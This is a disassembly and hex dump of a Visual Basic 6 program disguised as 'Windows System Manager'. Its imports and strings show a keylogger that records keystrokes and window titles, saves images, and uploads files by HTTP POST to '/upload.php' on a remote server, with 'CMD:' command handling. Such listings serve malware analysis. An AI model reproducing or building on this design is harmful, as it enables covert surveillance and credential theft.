004029b5
004029b5 00 00 00 ...
004029b8
004029b8 struct VBDeclareNameLength
004029b8 cbName int 20
004029bc
004029bc string "GdipSaveImageToFile",0
004029d0
004029d0 struct DeclareInfo
004029d0 lpszLibraryName uint32 0x40287c
004029d4 lpszFunctionName uint32 0x4029bc
004029d8 dwFlags uint32 0x00040000
004029dc lpCache uint32 0x40a304
004029e0 dwReserved uint32 0x00000000
004029e4
004029e4 00 00 00 00 ....

00402a01
00402a01 00 00 00 ...
00402a04
00402a04 struct VBDeclareNameLength
00402a04 cbName int 6
00402a08
00402a08 string "ole32",0
00402a0e
00402a0e 00 00 ..
00402a10
00402a10 struct VBDeclareNameLength
00402a10 cbName int 16
00402a14
00402a14 string "CLSIDFromString",0
00402a24
00402a24 struct DeclareInfo
00402a24 lpszLibraryName uint32 0x402a08
00402a28 lpszFunctionName uint32 0x402a14
00402a2c dwFlags uint32 0x00040000
00402a30 lpCache uint32 0x40a310
00402a34 dwReserved uint32 0x00000000
00402a38
00402a38 00 00 00 00 ....

00402a55
00402a55 00 00 00 ...
00402a58
00402a58 struct VBDeclareNameLength
00402a58 cbName int 12
00402a5c
00402a5c string "wininet.dll",0
00402a68
00402a68 struct VBDeclareNameLength
00402a68 cbName int 14
00402a6c
00402a6c string "InternetOpenA",0
00402a7a
00402a7a 00 00 ..
00402a7c
00402a7c struct DeclareInfo
00402a7c lpszLibraryName uint32 0x402a5c
00402a80 lpszFunctionName uint32 0x402a6c
00402a84 dwFlags uint32 0x00040000
00402a88 lpCache uint32 0x40a31c
00402a8c dwReserved uint32 0x00000000
00402a90
00402a90 00 00 00 00 ....

00402aad
00402aad 00 00 00 ...
00402ab0
00402ab0 struct VBDeclareNameLength
00402ab0 cbName int 17
00402ab4
00402ab4 string "InternetConnectA",0
00402ac5
00402ac5 00 00 00 ...
00402ac8
00402ac8 struct DeclareInfo
00402ac8 lpszLibraryName uint32 0x402a5c
00402acc lpszFunctionName uint32 0x402ab4
00402ad0 dwFlags uint32 0x00040000
00402ad4 lpCache uint32 0x40a328
00402ad8 dwReserved uint32 0x00000000
00402adc
00402adc 00 00 00 00 ....

00402af9
00402af9 00 00 00 ...
00402afc
00402afc struct VBDeclareNameLength
00402afc cbName int 17
00402b00
00402b00 string "InternetReadFile",0
00402b11
00402b11 00 00 00 ...
00402b14
00402b14 struct DeclareInfo
00402b14 lpszLibraryName uint32 0x402a5c
00402b18 lpszFunctionName uint32 0x402b00
00402b1c dwFlags uint32 0x00040000
00402b20 lpCache uint32 0x40a334
00402b24 dwReserved uint32 0x00000000
00402b28
00402b28 00 00 00 00 ....

00402b45
00402b45 00 00 00 ...
00402b48
00402b48 struct VBDeclareNameLength
00402b48 cbName int 17
00402b4c
00402b4c string "HttpOpenRequestA",0
00402b5d
00402b5d 00 00 00 ...
00402b60
00402b60 struct DeclareInfo
00402b60 lpszLibraryName uint32 0x402a5c
00402b64 lpszFunctionName uint32 0x402b4c
00402b68 dwFlags uint32 0x00040000
00402b6c lpCache uint32 0x40a340
00402b70 dwReserved uint32 0x00000000
00402b74
00402b74 00 00 00 00 ....

00402b91
00402b91 00 00 00 ...
00402b94
00402b94 struct VBDeclareNameLength
00402b94 cbName int 17
00402b98
00402b98 string "HttpSendRequestA",0
00402ba9
00402ba9 00 00 00 ...
00402bac
00402bac struct DeclareInfo
00402bac lpszLibraryName uint32 0x402a5c
00402bb0 lpszFunctionName uint32 0x402b98
00402bb4 dwFlags uint32 0x00040000
00402bb8 lpCache uint32 0x40a34c
00402bbc dwReserved uint32 0x00000000
00402bc0
00402bc0 00 00 00 00 ....

00402bdd
00402bdd 00 00 00 ...
00402be0
00402be0 struct VBDeclareNameLength
00402be0 cbName int 20
00402be4
00402be4 string "InternetCloseHandle",0
00402bf8
00402bf8 struct DeclareInfo
00402bf8 lpszLibraryName uint32 0x402a5c
00402bfc lpszFunctionName uint32 0x402be4
00402c00 dwFlags uint32 0x00040000
00402c04 lpCache uint32 0x40a358
00402c08 dwReserved uint32 0x00000000
00402c0c
00402c0c 00 00 00 00 ....

00402c29
00402c29 00 00 00 ...
00402c2c
00402c2c struct VBDeclareNameLength
00402c2c cbName int 23
00402c30
00402c30 string "HttpAddRequestHeadersA",0
00402c47
00402c47 00 .
00402c48
00402c48 struct DeclareInfo
00402c48 lpszLibraryName uint32 0x402a5c
00402c4c lpszFunctionName uint32 0x402c30
00402c50 dwFlags uint32 0x00040000
00402c54 lpCache uint32 0x40a364
00402c58 dwReserved uint32 0x00000000
00402c5c
00402c5c 00 00 00 00 ....

00402c79
00402c79 00 00 00 ...
00402c7c
00402c7c struct VBDeclareNameLength
00402c7c cbName int 8
00402c80
00402c80 string "wininet",0
00402c88
00402c88 struct VBDeclareNameLength
00402c88 cbName int 17
00402c8c
00402c8c string "InternetOpenUrlA",0
00402c9d
00402c9d 00 00 00 ...
00402ca0
00402ca0 string "PostFile",0
00402ca9
00402ca9 00 00 00 14 00 64 00 .....d.
00402cb0 00 00 02 00 00 00 00 00 38 00 01 00 3c 00 01 00 ........8...<...
00402cc0 00 00 00 00 ....
00402cc4
00402cc4 struct DeclareInfo
00402cc4 lpszLibraryName uint32 0x402c80
00402cc8 lpszFunctionName uint32 0x402c8c
00402ccc dwFlags uint32 0x00040000
00402cd0 lpCache uint32 0x40a370
00402cd4 dwReserved uint32 0x00000000
00402cd8
00402cd8 00 00 00 00 ....

00402cf5
00402cf5 00 00 00 ...
00402cf8
00402cf8 struct VBDeclareNameLength
00402cf8 cbName int 7
00402cfc
00402cfc string "user32",0
00402d03
00402d03 00 .
00402d04
00402d04 struct VBDeclareNameLength
00402d04 cbName int 17
00402d08
00402d08 string "GetAsyncKeyState",0
00402d19
00402d19 00 00 00 ...
00402d1c
00402d1c struct DeclareInfo
00402d1c lpszLibraryName uint32 0x402cfc
00402d20 lpszFunctionName uint32 0x402d08
00402d24 dwFlags uint32 0x00040000
00402d28 lpCache uint32 0x40a37c
00402d2c dwReserved uint32 0x00000000
00402d30
00402d30 00 00 00 00 ....

00402d4d
00402d4d 00 00 00 ...
00402d50
00402d50 struct VBDeclareNameLength
00402d50 cbName int 20
00402d54
00402d54 string "GetForegroundWindow",0
00402d68
00402d68 struct DeclareInfo
00402d68 lpszLibraryName uint32 0x402cfc
00402d6c lpszFunctionName uint32 0x402d54
00402d70 dwFlags uint32 0x00040000
00402d74 lpCache uint32 0x40a388
00402d78 dwReserved uint32 0x00000000
00402d7c
00402d7c 00 00 00 00 ....

00402d99
00402d99 00 00 00 ...
00402d9c
00402d9c struct VBDeclareNameLength
00402d9c cbName int 15
00402da0
00402da0 string "GetWindowTextA",0
00402daf
00402daf 00 .
00402db0
00402db0 struct DeclareInfo
00402db0 lpszLibraryName uint32 0x402cfc
00402db4 lpszFunctionName uint32 0x402da0
00402db8 dwFlags uint32 0x00040000
00402dbc lpCache uint32 0x40a394
00402dc0 dwReserved uint32 0x00000000
00402dc4
00402dc4 00 00 00 00 ....

00402de1
00402de1 00 00 00 ...
00402de4
00402de4 struct VBDeclareNameLength
00402de4 cbName int 13
00402de8
00402de8 string "kernel32.dll",0
00402df5
00402df5 00 00 00 ...
00402df8
00402df8 struct VBDeclareNameLength
00402df8 cbName int 6
00402dfc
00402dfc string "Sleep",0
00402e02
00402e02 00 00 ..
00402e04
00402e04 struct DeclareInfo
00402e04 lpszLibraryName uint32 0x402de8
00402e08 lpszFunctionName uint32 0x402dfc
00402e0c dwFlags uint32 0x00040000
00402e10 lpCache uint32 0x40a3a0
00402e14 dwReserved uint32 0x00000000
00402e18
00402e18 00 00 00 00 ....

00402e35
00402e35 00 00 00 ...
00402e38
00402e38 struct VBDeclareNameLength
00402e38 cbName int 11
00402e3c
00402e3c string "user32.dll",0
00402e47
00402e47 00 .
00402e48
00402e48 struct VBDeclareNameLength
00402e48 cbName int 12
00402e4c
00402e4c string "keybd_event",0
00402e58
00402e58 struct DeclareInfo
00402e58 lpszLibraryName uint32 0x402e3c
00402e5c lpszFunctionName uint32 0x402e4c
00402e60 dwFlags uint32 0x00040000
00402e64 lpCache uint32 0x40a3ac
00402e68 dwReserved uint32 0x00000000
00402e6c
00402e6c 00 00 00 00 ....

00402e89
00402e89 00 00 00 ...
00402e8c
00402e8c struct GUID
00402e8c guid guid fcfb3d23-a0fa-1068-a738-08002b3371b5
00402e9c
00402e9c 22 3d fb fc "=..
00402ea0 fa a0 68 10 a7 38 08 00 2b 33 71 b5 02 00 00 00 ..h..8..+3q.....
00402eb0 8c 2e 40 00 9c 2e 40 00 00 00 00 00 79 4f ad 33 ..@...@.....yO.3
00402ec0 99 66 cf 11 b7 0c 00 aa 00 60 d3 93 18 00 00 00 .f.......`......
00402ed0 63 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 c.o.m.p.u.t.e.r.
00402ee0 6e 00 61 00 6d 00 65 00 00 00 00 00 08 00 00 00 n.a.m.e.........
00402ef0 74 00 65 00 6d 00 70 00 00 00 00 00 10 00 00 00 t.e.m.p.........
00402f00 48 00 54 00 54 00 50 00 2f 00 31 00 2e 00 30 00 H.T.T.P./.1...0.
00402f10 00 00 00 00 08 00 00 00 50 00 4f 00 53 00 54 00 ........P.O.S.T.
00402f20 00 00 00 00 58 00 00 00 43 00 6f 00 6e 00 74 00 ....X...C.o.n.t.
00402f30 65 00 6e 00 74 00 2d 00 54 00 79 00 70 00 65 00 e.n.t.-.T.y.p.e.
00402f40 3a 00 20 00 6d 00 75 00 6c 00 74 00 69 00 70 00 :. .m.u.l.t.i.p.
00402f50 61 00 72 00 74 00 2f 00 66 00 6f 00 72 00 6d 00 a.r.t./.f.o.r.m.
00402f60 2d 00 64 00 61 00 74 00 61 00 3b 00 20 00 62 00 -.d.a.t.a.;. .b.
00402f70 6f 00 75 00 6e 00 64 00 61 00 72 00 79 00 3d 00 o.u.n.d.a.r.y.=.
00402f80 00 00 00 00 04 00 00 00 0d 00 0a 00 00 00 00 00 ................
00402f90 04 00 00 00 2d 00 2d 00 00 00 00 00 64 00 00 00 ....-.-.....d...
00402fa0 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2d 00 C.o.n.t.e.n.t.-.
00402fb0 44 00 69 00 73 00 70 00 6f 00 73 00 69 00 74 00 D.i.s.p.o.s.i.t.
00402fc0 69 00 6f 00 6e 00 3a 00 20 00 66 00 6f 00 72 00 i.o.n.:. .f.o.r.
00402fd0 6d 00 2d 00 64 00 61 00 74 00 61 00 3b 00 20 00 m.-.d.a.t.a.;. .
00402fe0 6e 00 61 00 6d 00 65 00 3d 00 22 00 64 00 65 00 n.a.m.e.=.".d.e.
00402ff0 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 s.c.r.i.p.t.i.o.
00403000 6e 00 22 00 00 00 00 00 08 00 00 00 2e 00 6a 00 n."...........j.
00403010 70 00 67 00 00 00 00 00 49 4f ad 33 99 66 cf 11 p.g.....IO.3.f..
00403020 b7 0c 00 aa 00 60 d3 93 81 09 f8 7b 32 bf 1a 10 .....`.....{2...
00403030 8b bb 00 aa 00 30 0c ab e1 4e ad 33 99 66 cf 11 .....0...N.3.f..
00403040 b7 0c 00 aa 00 60 d3 93 00 00 00 00 74 00 00 00 .....`......t...
00403050 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2d 00 C.o.n.t.e.n.t.-.
00403060 44 00 69 00 73 00 70 00 6f 00 73 00 69 00 74 00 D.i.s.p.o.s.i.t.
00403070 69 00 6f 00 6e 00 3a 00 20 00 66 00 6f 00 72 00 i.o.n.:. .f.o.r.
00403080 6d 00 2d 00 64 00 61 00 74 00 61 00 3b 00 20 00 m.-.d.a.t.a.;. .
00403090 6e 00 61 00 6d 00 65 00 3d 00 22 00 74 00 68 00 n.a.m.e.=.".t.h.
004030a0 65 00 66 00 69 00 6c 00 65 00 22 00 3b 00 20 00 e.f.i.l.e.".;. .
004030b0 66 00 69 00 6c 00 65 00 6e 00 61 00 6d 00 65 00 f.i.l.e.n.a.m.e.
004030c0 3d 00 22 00 00 00 00 00 02 00 00 00 22 00 00 00 =."........."...
004030d0 4c 00 00 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 L...C.o.n.t.e.n.
004030e0 74 00 2d 00 54 00 79 00 70 00 65 00 3a 00 20 00 t.-.T.y.p.e.:. .
004030f0 61 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 a.p.p.l.i.c.a.t.
00403100 69 00 6f 00 6e 00 2f 00 6f 00 63 00 74 00 65 00 i.o.n./.o.c.t.e.
00403110 74 00 2d 00 73 00 74 00 72 00 65 00 61 00 6d 00 t.-.s.t.r.e.a.m.
00403120 00 00 00 00 d9 4e ad 33 99 66 cf 11 b7 0c 00 aa .....N.3.f......
00403130 00 60 d3 93 0e 00 00 00 68 00 74 00 74 00 70 00 .`......h.t.t.p.
00403140 3a 00 2f 00 2f 00 00 00 02 00 00 00 2f 00 00 00 :././......./...
00403150 08 00 00 00 2e 00 63 00 66 00 67 00 00 00 00 00 ......c.f.g.....
00403160 08 00 00 00 43 00 4d 00 44 00 3a 00 00 00 00 00 ....C.M.D.:.....
00403170 00 00 00 00 00 00 00 00 06 00 00 00 47 00 45 00 ............G.E.
00403180 54 00 00 00 22 00 00 00 2f 00 63 00 6d 00 2e 00 T...".../.c.m...
00403190 70 00 68 00 70 00 3f 00 66 00 69 00 6c 00 65 00 p.h.p.?.f.i.l.e.
004031a0 3d 00 4e 00 55 00 4c 00 4c 00 00 00 0c 00 00 00 =.N.U.L.L.......
004031b0 26 00 6e 00 61 00 6d 00 65 00 3d 00 00 00 00 00 &.n.a.m.e.=.....
004031c0 08 00 00 00 53 00 4e 00 44 00 3a 00 00 00 00 00 ....S.N.D.:.....
004031d0 16 00 00 00 2f 00 75 00 70 00 6c 00 6f 00 61 00 ..../.u.p.l.o.a.
004031e0 64 00 2e 00 70 00 68 00 70 00 00 00 02 00 00 00 d...p.h.p.......
004031f0 5f 00 00 00 02 00 00 00 5c 00 00 00 12 00 00 00 _.......\.......
00403200 5b 00 20 00 49 00 4e 00 56 00 49 00 4f 00 20 00 [. .I.N.V.I.O. .
00403210 5d 00 00 00 02 00 00 00 30 00 00 00 02 00 00 00 ].......0.......
00403220 31 00 00 00 02 00 00 00 32 00 00 00 02 00 00 00 1.......2.......
00403230 33 00 00 00 02 00 00 00 34 00 00 00 02 00 00 00 3.......4.......
00403240 35 00 00 00 02 00 00 00 36 00 00 00 02 00 00 00 5.......6.......
00403250 37 00 00 00 02 00 00 00 38 00 00 00 02 00 00 00 7.......8.......
00403260 39 00 00 00 02 00 00 00 2a 00 00 00 02 00 00 00 9.......*.......
00403270 2b 00 00 00 02 00 00 00 2d 00 00 00 02 00 00 00 +.......-.......
00403280 2e 00 00 00 02 00 00 00 3d 00 00 00 02 00 00 00 ........=.......
00403290 21 00 00 00 02 00 00 00 a3 00 00 00 02 00 00 00 !...............
004032a0 24 00 00 00 02 00 00 00 25 00 00 00 02 00 00 00 $.......%.......
004032b0 26 00 00 00 02 00 00 00 28 00 00 00 02 00 00 00 &.......(.......
004032c0 29 00 00 00 08 00 00 00 20 00 46 00 31 00 20 00 )....... .F.1. .
004032d0 00 00 00 00 08 00 00 00 20 00 46 00 32 00 20 00 ........ .F.2. .
004032e0 00 00 00 00 08 00 00 00 20 00 46 00 33 00 20 00 ........ .F.3. .
004032f0 00 00 00 00 08 00 00 00 20 00 46 00 34 00 20 00 ........ .F.4. .
00403300 00 00 00 00 08 00 00 00 20 00 46 00 35 00 20 00 ........ .F.5. .
00403310 00 00 00 00 08 00 00 00 20 00 46 00 36 00 20 00 ........ .F.6. .
00403320 00 00 00 00 08 00 00 00 20 00 46 00 37 00 20 00 ........ .F.7. .
00403330 00 00 00 00 08 00 00 00 20 00 46 00 38 00 20 00 ........ .F.8. .
00403340 00 00 00 00 08 00 00 00 20 00 46 00 39 00 20 00 ........ .F.9. .
00403350 00 00 00 00 0a 00 00 00 20 00 46 00 31 00 30 00 ........ .F.1.0.
00403360 20 00 00 00 0a 00 00 00 20 00 46 00 31 00 31 00 ....... .F.1.1.
00403370 20 00 00 00 0a 00 00 00 20 00 46 00 31 00 32 00 ....... .F.1.2.
00403380 20 00 00 00 02 00 00 00 7c 00 00 00 02 00 00 00 .......|.......
00403390 3b 00 00 00 02 00 00 00 2c 00 00 00 02 00 00 00 ;.......,.......
004033a0 3a 00 00 00 02 00 00 00 a7 00 00 00 02 00 00 00 :...............
004033b0 f9 00 00 00 02 00 00 00 e9 00 00 00 02 00 00 00 ................
004033c0 e8 00 00 00 02 00 00 00 b0 00 00 00 02 00 00 00 ................
004033d0 e0 00 00 00 02 00 00 00 3f 00 00 00 02 00 00 00 ........?.......
004033e0 27 00 00 00 02 00 00 00 5e 00 00 00 02 00 00 00 '.......^.......
004033f0 ec 00 00 00 02 00 00 00 e7 00 00 00 02 00 00 00 ................
00403400 f2 00 00 00 14 00 00 00 20 00 5b 00 20 00 43 00 ........ .[. .C.
00403410 41 00 4e 00 43 00 20 00 5d 00 20 00 00 00 00 00 A.N.C. .]. .....
00403420 12 00 00 00 20 00 5b 00 20 00 54 00 41 00 42 00 .... .[. .T.A.B.
00403430 20 00 5d 00 20 00 00 00 12 00 00 00 20 00 5b 00 .]. ....... .[.
00403440 20 00 43 00 54 00 52 00 4c 00 20 00 5d 00 00 00 .C.T.R.L. .]...
00403450 12 00 00 00 20 00 5b 00 20 00 41 00 4c 00 54 00 .... .[. .A.L.T.
00403460 20 00 5d 00 20 00 00 00 16 00 00 00 20 00 5b 00 .]. ....... .[.
00403470 20 00 50 00 41 00 55 00 53 00 45 00 20 00 5d 00 .P.A.U.S.E. .].
00403480 20 00 00 00 14 00 00 00 20 00 5b 00 20 00 43 00 ....... .[. .C.
00403490 41 00 50 00 53 00 20 00 5d 00 20 00 00 00 00 00 A.P.S. .]. .....
004034a0 12 00 00 00 20 00 5b 00 20 00 45 00 53 00 43 00 .... .[. .E.S.C.
004034b0 20 00 5d 00 20 00 00 00 02 00 00 00 20 00 00 00 .]. ....... ...
004034c0 18 00 00 00 20 00 5b 00 20 00 50 00 61 00 67 00 .... .[. .P.a.g.
004034d0 65 00 55 00 70 00 20 00 5d 00 20 00 00 00 00 00 e.U.p. .]. .....
004034e0 1c 00 00 00 20 00 5b 00 20 00 50 00 61 00 67 00 .... .[. .P.a.g.
004034f0 65 00 44 00 6f 00 77 00 6e 00 20 00 5d 00 20 00 e.D.o.w.n. .]. .
00403500 00 00 00 00 00 00 00 00 12 00 00 00 20 00 5b 00 ............ .[.
00403510 20 00 45 00 4e 00 44 00 20 00 5d 00 20 00 00 00 .E.N.D. .]. ...
00403520 14 00 00 00 20 00 5b 00 20 00 48 00 4f 00 4d 00 .... .[. .H.O.M.
00403530 45 00 20 00 5d 00 20 00 00 00 00 00 14 00 00 00 E. .]. .........
00403540 20 00 5b 00 20 00 4c 00 45 00 46 00 54 00 20 00 .[. .L.E.F.T. .
00403550 5d 00 20 00 00 00 00 00 10 00 00 00 20 00 5b 00 ]. ......... .[.
00403560 20 00 55 00 50 00 20 00 5d 00 20 00 00 00 00 00 .U.P. .]. .....
00403570 16 00 00 00 20 00 5b 00 20 00 52 00 49 00 47 00 .... .[. .R.I.G.
00403580 48 00 54 00 20 00 5d 00 20 00 00 00 14 00 00 00 H.T. .]. .......
00403590 20 00 5b 00 20 00 44 00 4f 00 57 00 4e 00 20 00 .[. .D.O.W.N. .
004035a0 5d 00 20 00 00 00 00 00 18 00 00 00 20 00 5b 00 ]. ......... .[.
004035b0 20 00 53 00 45 00 4c 00 45 00 43 00 54 00 20 00 .S.E.L.E.C.T. .
004035c0 5d 00 20 00 00 00 00 00 16 00 00 00 20 00 5b 00 ]. ......... .[.
004035d0 20 00 50 00 52 00 49 00 4e 00 54 00 20 00 5d 00 .P.R.I.N.T. .].
004035e0 20 00 00 00 12 00 00 00 20 00 5b 00 20 00 49 00 ....... .[. .I.
004035f0 4e 00 53 00 20 00 5d 00 20 00 00 00 12 00 00 00 N.S. .]. .......
00403600 20 00 5b 00 20 00 44 00 45 00 4c 00 20 00 5d 00 .[. .D.E.L. .].
00403610 20 00 00 00 14 00 00 00 20 00 5b 00 20 00 48 00 ....... .[. .H.
00403620 45 00 4c 00 50 00 20 00 5d 00 20 00 00 00 00 00 E.L.P. .]. .....
00403630 1a 00 00 00 20 00 5b 00 20 00 57 00 49 00 4e 00 .... .[. .W.I.N.
00403640 44 00 4f 00 57 00 53 00 20 00 5d 00 20 00 00 00 D.O.W.S. .]. ...
00403650 1e 00 00 00 2f 00 63 00 6f 00 70 00 79 00 2e 00 ..../.c.o.p.y...
00403660 70 00 68 00 70 00 3f 00 66 00 69 00 6c 00 65 00 p.h.p.?.f.i.l.e.
00403670 3d 00 00 00 4c 00 00 00 7b 00 35 00 35 00 37 00 =...L...{.5.5.7.
00403680 43 00 46 00 34 00 30 00 31 00 2d 00 31 00 41 00 C.F.4.0.1.-.1.A.
00403690 30 00 34 00 2d 00 31 00 31 00 44 00 33 00 2d 00 0.4.-.1.1.D.3.-.
004036a0 39 00 41 00 37 00 33 00 2d 00 30 00 30 00 30 00 9.A.7.3.-.0.0.0.
004036b0 30 00 46 00 38 00 31 00 45 00 46 00 33 00 32 00 0.F.8.1.E.F.3.2.
004036c0 45 00 7d 00 00 00 00 00 4c 00 00 00 7b 00 31 00 E.}.....L...{.1.
004036d0 44 00 35 00 42 00 45 00 34 00 42 00 35 00 2d 00 D.5.B.E.4.B.5.-.
004036e0 46 00 41 00 34 00 41 00 2d 00 34 00 35 00 32 00 F.A.4.A.-.4.5.2.
004036f0 44 00 2d 00 39 00 43 00 44 00 44 00 2d 00 35 00 D.-.9.C.D.D.-.5.
00403700 44 00 42 00 33 00 35 00 31 00 30 00 35 00 45 00 D.B.3.5.1.0.5.E.
00403710 37 00 45 00 42 00 7d 00 00 00 00 00 56 42 41 36 7.E.B.}.....VBA6
00403720 2e 44 4c 4c 00 00 00 00 5f 5f 76 62 61 49 34 56 .DLL....__vbaI4V
00403730 61 72 00 00 5f 5f 76 62 61 4c 61 74 65 49 64 43 ar..__vbaLateIdC
00403740 61 6c 6c 4c 64 00 00 00 5f 5f 76 62 61 4f 62 6a allLd...__vbaObj
00403750 53 65 74 41 64 64 72 65 66 00 00 00 5f 5f 76 62 SetAddref...__vb
00403760 61 53 74 72 56 61 72 56 61 6c 00 00 5f 5f 76 62 aStrVarVal..__vb
00403770 61 55 49 31 49 32 00 00 aUI1I2..
00403778
00403778 struct TypeLibReference
00403778 lpTypeLibGuid uint32 0x402e8c
0040377c lpCache uint32 0x40a3b8
00403780
00403780 5f 5f 76 62 61 43 61 73 74 4f 62 6a 00 00 00 00 __vbaCastObj....
00403790 5f 5f 76 62 61 45 72 72 6f 72 4f 76 65 72 66 6c __vbaErrorOverfl
004037a0 6f 77 00 00 5f 5f 76 62 61 46 72 65 65 4f 62 6a ow..__vbaFreeObj
004037b0 4c 69 73 74 00 00 00 00 5f 5f 76 62 61 52 38 53 List....__vbaR8S
004037c0 74 72 00 00 5f 5f 76 62 61 53 74 72 52 38 00 00 tr..__vbaStrR8..
004037d0 5f 5f 76 62 61 53 74 72 43 6d 70 00 5f 5f 76 62 __vbaStrCmp.__vb
004037e0 61 53 74 72 49 32 00 00 5f 5f 76 62 61 4f 62 6a aStrI2..__vbaObj
004037f0 53 65 74 00 5f 5f 76 62 61 45 78 69 74 50 72 6f Set.__vbaExitPro
00403800 63 00 00 00 5f 5f 76 62 61 46 69 6c 65 43 6c 6f c...__vbaFileClo
00403810 73 65 41 6c 6c 00 00 00 5f 5f 76 62 61 46 69 6c seAll...__vbaFil
00403820 65 43 6c 6f 73 65 00 00 5f 5f 76 62 61 47 65 74 eClose..__vbaGet
00403830 33 00 00 00 5f 5f 76 62 61 46 69 6c 65 4f 70 65 3...__vbaFileOpe
00403840 6e 00 00 00 5f 5f 76 62 61 56 61 72 43 6f 70 79 n...__vbaVarCopy
00403850 00 00 00 00 5f 5f 76 62 61 56 61 72 43 61 74 00 ....__vbaVarCat.
00403860 5f 5f 76 62 61 4c 73 65 74 46 69 78 73 74 72 00 __vbaLsetFixstr.
00403870 5f 5f 76 62 61 4c 65 6e 42 73 74 72 00 00 00 00 __vbaLenBstr....
00403880 5f 5f 76 62 61 53 74 72 43 61 74 00 5f 5f 76 62 __vbaStrCat.__vb
00403890 61 46 72 65 65 53 74 72 4c 69 73 74 00 00 00 00 aFreeStrList....
004038a0 5f 5f 76 62 61 53 74 72 54 6f 55 6e 69 63 6f 64 __vbaStrToUnicod
004038b0 65 00 00 00 5f 5f 76 62 61 53 65 74 53 79 73 74 e...__vbaSetSyst
004038c0 65 6d 45 72 72 6f 72 00 5f 5f 76 62 61 53 74 72 emError.__vbaStr
004038d0 54 6f 41 6e 73 69 00 00 5f 5f 76 62 61 46 72 65 ToAnsi..__vbaFre
004038e0 65 56 61 72 00 00 00 00 5f 5f 76 62 61 53 74 72 eVar....__vbaStr
004038f0 56 61 72 4d 6f 76 65 00 5f 5f 76 62 61 4f 6e 45 VarMove.__vbaOnE
00403900 72 72 6f 72 00 00 00 00 5f 5f 76 62 61 46 69 78 rror....__vbaFix
00403910 73 74 72 43 6f 6e 73 74 72 75 63 74 00 00 00 00 strConstruct....
00403920 5f 5f 76 62 61 46 72 65 65 56 61 72 4c 69 73 74 __vbaFreeVarList
00403930 00 00 00 00 5f 5f 76 62 61 46 72 65 65 53 74 72 ....__vbaFreeStr
00403940 00 00 00 00 5f 5f 76 62 61 56 61 72 44 75 70 00 ....__vbaVarDup.
00403950 5f 5f 76 62 61 53 74 72 4d 6f 76 65 00 00 00 00 __vbaStrMove....
00403960 5f 5f 76 62 61 53 74 72 43 6f 70 79 00 00 00 00 __vbaStrCopy....
00403970 5f 5f 76 62 61 46 72 65 65 4f 62 6a 00 00 00 00 __vbaFreeObj....
00403980 5f 5f 76 62 61 48 72 65 73 75 6c 74 43 68 65 63 __vbaHresultChec
00403990 6b 4f 62 6a 00 00 00 00 5f 5f 76 62 61 4e 65 77 kObj....__vbaNew
004039a0 32 00 00 00 2...
004039a4
004039a4 struct VBObjectListEntry
004039a4 lpEntry uint32 0x403a18
004039a8
004039a8 54 28 40 00 54 28 40 00 T(@.T(@.
004039b0 60 28 40 00 6c 28 40 00 `(@.l(@.
004039b8 struct VBParamNameEntry[4] ; 0x4039b8-0x4039c8, 3 set, 1 null
004039b8 #0 lpEntry = 0x00403b40 ; "Server"
004039bc #1 lpEntry = 0x00403b48 ; "Script"
004039c0 #2 lpEntry = 0x00403b50 ; "filename"
004039c8
004039c8 00 00 00 00 00 00 00 00 ........
004039d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
004039e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
004039f0
004039f0 struct FuncTypDesc
004039f0 bArgSize uint8 0x10
004039f1 bFlags uint8 0x01 ; HasReturn
004039f2 wVTableOffset uint16 0x06f9
004039f4 iObjectIndex uint16 0xffff
004039f6 wReserved uint16 0x0000
004039f8 lpOptionalDefaults uint32 0x00000000
004039fc wNameIndex uint16 0x0001
004039fe bReturnType uint8 0x03
004039ff bFuncFlags uint8 0x60
00403a00 lpParamNames uint32 0x4039b8
00403a04
00403a04 00 00 00 00 00 00 00 00 00 00 00 00 ............
00403a10 1e 30 30 30 30 00 00 00 .0000...
00403a18
00403a18 struct PrivateObjectDescriptor
00403a18 lpHeapLink uint32 0x00000000
00403a1c lpObjectInfo uint32 0x4020a8
00403a20 dwReserved uint32 0xffffffff
00403a24 dwIdeData uint32 0x00000000
00403a28 wFuncCount int 10
00403a2a wFuncCount2 int 0
00403a2c wVarCount int 4
00403a2e wPad uint16 0x0000
00403a30 lpFuncTypDescs uint32 0x403a58
00403a34 lpExtendedFuncData uint32 0x00000000
00403a38 lpMethodNameTable uint32 0x4039c8
00403a3c lpParamNames uint32 0x4039a4
00403a40 lpVarStubs uint32 0x4039a8
00403a44 dwReserved2 [3]uint32 {0, 0, 0}
00403a50 dwDescSize uint32 0x00000064
00403a54 dwFlags uint32 0x00000004
00403a58 struct VBFuncTypDescEntry[30] ; 0x403a58-0x403ad0, 1 set, 29 null
00403aa8 #20 lpEntry = 0x004039f0
00403ad0
00403ad0 struct ProjectInfo2
00403ad0 lpHeapLink uint32 0x00000000
00403ad4 lpObjectTable uint32 0x402524
00403ad8 dwReserved uint32 0xffffffff
00403adc dwUnused uint32 0x00000000
00403ae0 lpObjectList uint32 0x4039a4
00403ae4 dwUnused2 uint32 0x00000000
00403ae8 szProjectDescription uint32 0x403af8
00403aec szProjectHelpFile uint32 0x00000000
00403af0 dwReserved2 uint32 0xffffffff
00403af4 dwHelpContextId int 0
00403af8
00403af8 string "Windows System Manager",0
00403b0f
00403b0f 00 .
00403b10 cc 27 40 00 64 27 40 00 bc a3 40 00 cc 27 40 00 .'@.d'@...@..'@.
00403b20 f4 27 40 00 c0 a3 40 00 cc 27 40 00 0c 28 40 00 .'@...@..'@..(@.
00403b30 c4 a3 40 00 cc 27 40 00 2c 28 40 00 c8 a3 40 00 ..@..'@.,(@...@.
00403b40
00403b40 string "Server",0
00403b47
00403b47 00 .
00403b48
00403b48 string "Script",0
00403b4f
00403b4f 00 .
00403b50
00403b50 string "filename",0
00403b59
00403b59 00 00 00 cc cc cc cc .......
00403b60 e9 e9 e9 e9 cc cc cc cc cc cc cc cc cc cc cc cc ................

00403d44
00403d44 // align 0x10

00403d50
00403d50frmMain.PostFile:
00403d50push ebp
00403d51mov ebp, esp
00403d53sub esp, 24
00403d56push 0x4014a6
00403d5bmov eax, [0x0]
00403d61push eax
00403d62mov [0x0], esp
00403d69mov eax, 152
00403d6ecall __vbaChkstk
00403d73push ebx
00403d74push esi
